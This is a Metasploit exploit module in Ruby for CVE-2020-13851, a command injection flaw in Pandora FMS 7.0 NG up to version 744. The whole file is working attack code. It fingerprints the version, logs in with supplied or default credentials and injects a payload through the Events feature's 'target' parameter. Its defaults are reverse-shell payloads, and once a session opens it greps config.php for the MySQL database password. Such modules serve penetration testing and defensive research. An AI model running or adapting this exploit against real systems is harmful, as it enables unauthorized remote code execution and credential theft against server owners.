##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pandora FMS Events Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability (CVE-2020-13851) in Pandora
          FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
          older versions) in order to execute arbitrary commands.

          This module takes advantage of a command injection vulnerability in the
          `Events` feature of Pandora FMS. This flaw allows users to execute
          arbitrary commands via the `target` parameter in HTTP POST requests to
          the `Events` function. After authenticating to the target, the module
          attempts to exploit this flaw by issuing such an HTTP POST request,
          with the `target` parameter set to contain the payload. If a shell is
          obtained, the module will try to obtain the local MySQL database
          password via a simple `grep` command on the plaintext
          `/var/www/html/pandora_console/include/config.php` file.

          Valid credentials for a Pandora FMS account are required. The account
          does not need to have admin privileges.
          This module has been successfully tested on Pandora 7.0 NG 744 running
          on CentOS 7 (the official virtual appliance ISO for this version).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Fernando Catoira', # Discovery
          'Julio Sanchez', # Discovery
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['CVE', '2020-13851'], # RCE via the `events` feature
          ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']
        ],
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux (cmd)', {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-06-04',
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
    register_options [
      OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])
    ]
  end

  def check
    vprint_status('Running check')
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php')

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>')
      return CheckCode::Safe('Target is not a Pandora FMS application.')
    end

    @cookie = res.get_cookies
    html = res.get_html_document
    full_version = html.at('div[@id="ver_num"]')

    if full_version.blank?
      return CheckCode::Detected('Could not determine the Pandora FMS version.')
    end

    full_version = full_version.text

    version = full_version[1..].sub('NG', '')

    if version.blank?
      return CheckCode::Detected('Could not determine the Pandora FMS version.')
    end

    version = Rex::Version.new version

    unless version <= Rex::Version.new('7.0.744')
      return CheckCode::Safe("Target is Pandora FMS version #{full_version}.")
    end

    CheckCode::Appears("Target is Pandora FMS version #{full_version}.")
  end

  def login(user, pass)
    vprint_status "Authenticating as #{user} ..."

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'cookie' => @cookie,
      'vars_get' => { 'login' => '1' },
      'vars_post' => {
        'nick' => user,
        'pass' => pass,
        'login_button' => 'Login'
      }
    })

    unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>')
      fail_with Failure::NoAccess, 'Authentication failed'
    end

    print_good "Authenticated as user #{user}."
  end

  def on_new_session(client)
    super
    if target.arch.first == ARCH_CMD
      print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.')
      client.shell_write("grep dbpass include/config.php\n")
    else
      print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.')
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Executing payload...')

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax.php'),
      'cookie' => @cookie,
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'Referer' => full_uri('index.php'),
      'vars_get' => {
        'sec' => 'eventos',
        'sec2' => 'operation/events/events'
      },
      'vars_post' => {
        'page' => 'include/ajax/events',
        'perform_event_response' => '10000000',
        'target' => cmd.to_s,
        'response_id' => '1'
      }
    }, 0) # the server will not send a response, so the module shouldn't wait for one
  end

  def exploit
    login(datastore['USERNAME'], datastore['PASSWORD'])

    if target.arch.first == ARCH_CMD
      execute_command payload.encoded
    else
      execute_cmdstager(background: true)
    end
  end
end
